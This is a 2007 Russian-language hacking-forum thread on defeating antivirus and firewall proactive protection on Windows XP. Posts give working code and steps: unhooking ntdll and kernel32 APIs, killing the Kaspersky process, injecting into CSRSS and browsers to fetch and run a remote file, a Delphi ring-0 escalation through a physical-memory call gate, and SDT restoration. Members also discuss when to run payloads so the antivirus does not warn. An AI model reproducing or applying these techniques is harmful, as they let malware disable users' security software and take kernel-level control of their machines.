Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
Обход проактивной защиты. |

17.06.2007, 19:15
|
|
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме: 426226
Репутация:
726
|
|
Обход проактивной защиты.
Проактивная защита что это такое,
Пример: картинка
Такое сообщение выдает Касперский, если внедренный в него код, пытается изменить другие процессы.
Интересно какую, кнопочку выберут, обладатели Kaspersky Anti-Virus.
Поехали обходить защиту.
на примере самых популярных защит, по опросам Античат.
Какой Фаервол Вы предпочитаете?
Outpost 60.61%
Какой Антивирус Вы предпочитаете?
NOD32 44.81%
AVP(Kaspersky Anti-Virus) 35.31%
Пишем код под WinXP.
1.Внедряемся в CSRSS.EXE
Чем замечателен, этот процесс в XP, он имеет права изменять память других процессов, а этого мы хотим добиться (процесс системный – добавляем себе привелегии SeDebugPrivileg, а из под Гостя можно выбрать процесс попроще, например explorer.exe).
Открываем процесс CSRSS.EXE и пишем туда наш код.
Не получилось, сработала проактивная защита.
NOD32,Outpost ставят НооКи на WriteProcessMemory.
те. Если мы вызываем функцию записи в чужой процесс, сначала выполняется код внедренный в наш процесс, и этот код разрешает или запрещает запись.
Выкидываем шпионов из нашего процесса.
Открываем файл systemroot\ntdll.dll
Сравниваем (первые 10 байт) кода начала API функций, загруженной, к нам память ntdll.dll с тем, что на диске. Собственно, заменяем, несоответствия на оригинал.
Тоже самое проделываем, с остальными библиотеками (Kernel32,User32,AdvApi32)
Касперский , модифицирует адреса функций в EXPORT_DIRECTORY, тоже заменяем, на оригинал.
Вторая попытка:
Открываем процесс CSRSS.EXE и пишем туда наш код.
NOD32,Outpost в пролете. Касперский все перехватил драйвером. (сцуко)
хотя, норд с аутпостом тоже, заметили, но почему-то, ничего не предприняли.
Выкидываем AVP из списка процессов
Ставим Hook на WH_CALLWNDPROC для AVP.EXE, и шлем сообщение WM_QUIT.
Как только Касперский попытается вывести сообщение, о срабатывании системы самозащиты, тут же слетит по команде TerminateProcess,-1
Касперский тоже, заметит, но решит что Вы разрешили это сделать, и тревогу не поднимет.
Третья попытка:
Открываем процесс CSRSS.EXE и пишем туда наш код.
Все прошло удачно. Можно перезапустить Касперского, чтобы пользователь ничего не заметил, и выходить из программы, чтобы в диспетчере задач нас тоже не было.
1.Мониторим запущенные браузеры.
У svchost.exe, плохая репутация, редко кто этому процессу разрешает доступ к интернет.
Ждем запуска популярного браузера (Firefox.exe, Opera.exe, Iexplore.exe)
Инжектим свой код в браузер и у нас появились хоть, какие-то права.
Ну например, загружаем 'http://xserg11.narod.ru/VB.wav' , в 'c:\VB.wav' (64кб 1мин.)
И запускаем ShellExecute(,, 'c:\VB.wav'
VB.wav (с) Nightmarе. Оригинал http://shinobi.org.ru/pranks/get.php?id=12
Для теста вашей защиты можете запустить:
Делает все выше перечисленное.
http://xserg11.narod.ru/tests1.rar (12,5кб) с исходником MASM32
(TESTS.exe 5632байт, чуть покриптован /NODу не нравится/, не закрепляется в системе, ничего нигде не меняет, ничего не ворует, и вообще не вредоносная программа, после использования систему перезагрузить)
|
|
|

17.06.2007, 19:39
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
Провел на форуме: 725870
Репутация:
208
|
|
Выкидываем шпионов из нашего процесса.
Открываем файл systemroot\ntdll.dll
Сравниваем (первые 10 байт) кода начала API функций, загруженной, к нам память ntdll.dll с тем, что на диске. Собственно, заменяем, несоответствия на оригинал.
Тоже самое проделываем, с остальными библиотеками (Kernel32,User32,AdvApi32)
Касперский , модифицирует адреса функций в EXPORT_DIRECTORY, тоже заменяем, на оригинал.
вот код реализации:
Код:
bool RemoveHook(char * szDllPath, char * szFuncName)
{
HMODULE lpBase = LoadLibrary(szDllPath);
LPVOID lpFunc = GetProcAddress(lpBase, szFuncName);
if ( !lpFunc )
return false;
DWORD dwRVA = (DWORD) lpFunc - (DWORD) lpBase;
HANDLE hFile = CreateFile(szDllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if ( INVALID_HANDLE_VALUE == hFile )
return false;
DWORD dwSize = GetFileSize(hFile, NULL);
HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READONLY|SEC_IMAGE, 0, dwSize, NULL);
LPVOID lpBaseMap = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, dwSize);
LPVOID lpRealFunc = (LPVOID)((DWORD)lpBaseMap+dwRVA);
DWORD dwOldProtect;
bool bRes = true;
if ( VirtualProtect(lpFunc, 10, PAGE_EXECUTE_READWRITE, &dwOldProtect) )
{
memcpy(lpFunc, lpRealFunc, 10);
}
else
{
bRes = false;
}
UnmapViewOfFile(lpBaseMap);
CloseHandle(hMapFile);
CloseHandle(hFile);
return bRes;
}
(c) wasm.ru ( автора не помню )
|
|
|

18.06.2007, 18:57
|
|
Статус пользователя:
Регистрация: 26.07.2005
Сообщений: 568
Провел на форуме: 1290766
Репутация:
1236
|
|
баян. вся проактивка держится на хуке SDT. те драйвер антивира или фаера перехватывает ряд ядерных функций. очистка SDT подробно описана на rootkit.com и называется вроде SDT Restore
__________________
 
snow white world wide
|
|
|

19.06.2007, 13:12
|
|
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме: 426226
Репутация:
726
|
|
Переход из ring3 в ring0 (для XP)
Без DuplicateHandle палится проактивной защитой на уровне драйвера.
И все что я писал в топике, нафик ненужно.
Автора кода не знаю, я добавил только DuplicateHandle.
sn0w добавь в свой код.
Код:
program ring0;
uses
Windows, NewAclAPI, NewAccCtrl;
type
TFarCall = packed record
Offset: DWORD;
Selector: Word;
end;
TGDTInfo = packed record
Limit: Word;
Base: DWORD;
end;
PUnicodeString = ^TUnicodeString;
TUnicodeString = packed record
Length: Word;
MaximumLength: Word;
Buffer: Pointer;
end;
PObjectAttributes = ^TObjectAttributes;
TObjectAttributes = packed record
Length: DWORD;
RootDirectory: THandle;
ObjectName: PUnicodeString;
Attributes: DWORD;
SecurityDescriptor: Pointer;
SecurityQualityOfService: Pointer;
end;
PGateDescriptor = ^TGateDescriptor;
TGateDescriptor = packed record
OffsetLo: Word;
Selector: Word;
Attributes: Word;
OffsetHi: Word;
end;
function NtOpenSection(SectionHandle: PHandle; AccessMask: DWORD;
ObjectAttributes: PObjectAttributes): DWORD; stdcall; external 'NTDLL.DLL';
procedure RtlInitUnicodeString(DestinationString: PUnicodeString;
SourceString: PWideChar); stdcall; external 'NTDLL.DLL';
const
OBJ_CASE_INSENSITIVE = $00000040;
OBJ_KERNEL_HANDLE = $00000200;
procedure _Ring0;
asm
cli
pushad
mov bx,100
mov al,0b6h
out 43h,al
mov dx,0012h
mov ax,34dch
div bx
out 42h,al
mov al,ah
out 42h,al
in al,61h
mov ah,al
or al,03h
out 61h,al
mov ecx,$12345678
@@:push eax
inc eax
dec eax
pop eax
loop @@
mov al,ah
out 61h,al
popad
sti
retf
end;
function QuasiMmGetPhysicalAddress(VirtualAddress: THandle; var Offset: DWORD): DWORD;
begin
Offset := VirtualAddress and $FFF;
if (VirtualAddress > $80000000) and (VirtualAddress < $A0000000) then
Result := VirtualAddress and $1ffff000 else Result := VirtualAddress and $fff000;
end;
function OpenPhysicalMemory: THandle;
const
DeviceName: PWideChar = '\Device\PhysicalMemory';
var
PhysMemString: TUnicodeString;
attributes: TObjectAttributes;
OldAcl,NewAcl: PACL;
SD: PSECURITY_DESCRIPTOR;
Access: EXPLICIT_ACCESS;
Hprocess:dword;
begin
RtlInitUnicodeString(@PhysMemString,DeviceName);
with attributes do
begin
Length := SizeOf(TObjectAttributes);
RootDirectory := 0;
Attributes := OBJ_CASE_INSENSITIVE or OBJ_KERNEL_HANDLE;
ObjectName := @PhysMemString;
SecurityDescriptor := nil;
SecurityQualityOfService := nil;
end;
Hprocess:=GetCurrentProcess;
NtOpenSection(@Result,READ_CONTROL,@attributes);
DuplicateHandle(Hprocess,Result,Hprocess,@Result,READ_CONTROL or WRITE_DAC,true,0);
GetSecurityInfo(Result,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,nil,nil,@OldAcl,nil,SD);
with Access do
begin
grfAccessPermissions := SECTION_MAP_READ or SECTION_MAP_WRITE;
grfAccessMode := GRANT_ACCESS;
grfInheritance := NO_INHERITANCE;
Trustee.pMultipleTrustee := nil;
Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE;
Trustee.TrusteeForm := TRUSTEE_IS_NAME;
Trustee.TrusteeType := TRUSTEE_IS_USER;
Trustee.ptstrName := 'CURRENT_USER';
end;
SetEntriesInAcl(1,@Access,OldAcl,NewAcl);
SetSecurityInfo(Result,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,nil,nil,NewAcl,nil);
CloseHandle(Result);
NtOpenSection(@Result,SECTION_MAP_READ,@attributes);
DuplicateHandle(Hprocess,Result,Hprocess,@Result,SECTION_MAP_READ or SECTION_MAP_WRITE,true,0);
LocalFree(DWORD(NewAcl));
LocalFree(DWORD(SD));
end;
var
PhysMem: THandle;
gdt: TGDTInfo;
ptrGDT,Ring0Proc: Pointer;
CurrentGate: PGateDescriptor;
OldGate,NewGate: TGateDescriptor;
offset,base_address: DWORD;
FarCall: TFarCall;
begin
PhysMem := OpenPhysicalMemory;
Ring0Proc := @_Ring0;
asm sgdt[gdt] end;
base_address := QuasiMmGetPhysicalAddress(gdt.Base,offset);
ptrGDT := MapViewOfFile(PhysMem,FILE_MAP_ALL_ACCESS,0,base_address,gdt.limit+offset);
CurrentGate := PGateDescriptor(DWORD(ptrGDT)+offset);
repeat
CurrentGate := PGateDescriptor(DWORD(CurrentGate)+SizeOf(TGateDescriptor));
if (CurrentGate.Attributes and $FF00) = 0 then
begin
OldGate:=CurrentGate^;
CurrentGate.Selector := 8; // ring0 code selector
CurrentGate.OffsetLo := DWORD(Ring0Proc);
CurrentGate.OffsetHi := DWORD(Ring0Proc) shr 16;
CurrentGate.Attributes := $EC00;
FarCall.Offset:=0;
FarCall.Selector:=DWORD(CurrentGate)-DWORD(ptrGDT)-offset;
Break;
end;
until DWORD(CurrentGate) >= DWORD(ptrGDT)+gdt.limit+offset;
FlushViewOfFile(CurrentGate,SizeOf(TGateDescriptor));
asm
db $0ff,$01d
dd offset FarCall
end;
CurrentGate^ := OldGate;
UnmapViewOfFile(ptrGDT);
CloseHandle(PhysMem);
MessageBoxA(0,'\m/','RING-0',MB_OK);
end.
Последний раз редактировалось Xserg; 30.06.2007 в 18:00..
|
|
|

19.06.2007, 13:31
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме: 1777536
Репутация:
932
|
|
http://lordofring.tushino.com/SDT.h
Нашёл в интернете и немного переписал. Чистит SDT. Проверил у себя - работает.Но мега-маза в том, что не хочет линковаться с комментом
Код:
#pragma comment(linker,"/ENTRY:WinMain")
Со всеми вытекающими последствиями в весе файла.
https://forum.antichat.ru/showpost.php?p=391561&postcount=15 - вот что нужно. Тогда будет линковаться.
Юзать так:
Код:
#include "SDT.h"
........................
SDT(); //если всё ок возвратит 0 , не ок 1.
|
|
|

21.06.2007, 19:37
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
Провел на форуме: 1777536
Репутация:
932
|
|
Данную багу исправил, файлик перезалил. Примерно +7кб к весу файла.
|
|
|

22.06.2007, 16:32
|
|
Участник форума
Регистрация: 24.05.2007
Сообщений: 229
Провел на форуме: 2308963
Репутация:
309
|
|
ммм... Надо взять на заметку. Полезная инфа.
|
|
|

22.06.2007, 17:05
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Кстати. на счет этой темы. У меня както возник вопрос.
А именно про касперского. Онже многое ловит через драйвер.
В этоге получается вот такая вешь при загрузки системы:
Сначала грузится виндовые драйвера и драйвер каспера, потом виндовые сервисы, а потом то что нходится в авторане. Ну так вот. А если все свои пакости делать в то время когда драйвер уже загружен, а Gui авира еще не успела загрузиться.
Ведь по идеи даже если чтото будет обнаружено, то врядли будут всякие придупреджения . Или я не прав?
|
|
|

22.06.2007, 19:32
|
|
Участник форума
Регистрация: 09.12.2006
Сообщений: 135
Провел на форуме: 426226
Репутация:
726
|
|
Сообщение от slesh
А если все свои пакости делать в то время когда драйвер уже загружен, а Gui авира еще не успела загрузиться.
В логах каспера будет отчет, об незаконной операции с полным именем файла.
Помечено как допустимое. Тревоги не будет.
|
|
|

22.06.2007, 20:01
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
2 Xserg ДЫк значит остается тока замутить запуск проги в нужно время.
Чтобы это сделать есть 2 пути.
1) Секция сервисов - скорее всего отпадает. потому что авиры палят установку нового сервиса.
2) Секция предназначенная для программ установок. Запускается в последнюю очередь, но до запуска авторана. На счет того можно ли туда чтолибо писать - хз.
Вроде место не очень паливное, но на авирах еще не проверял.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|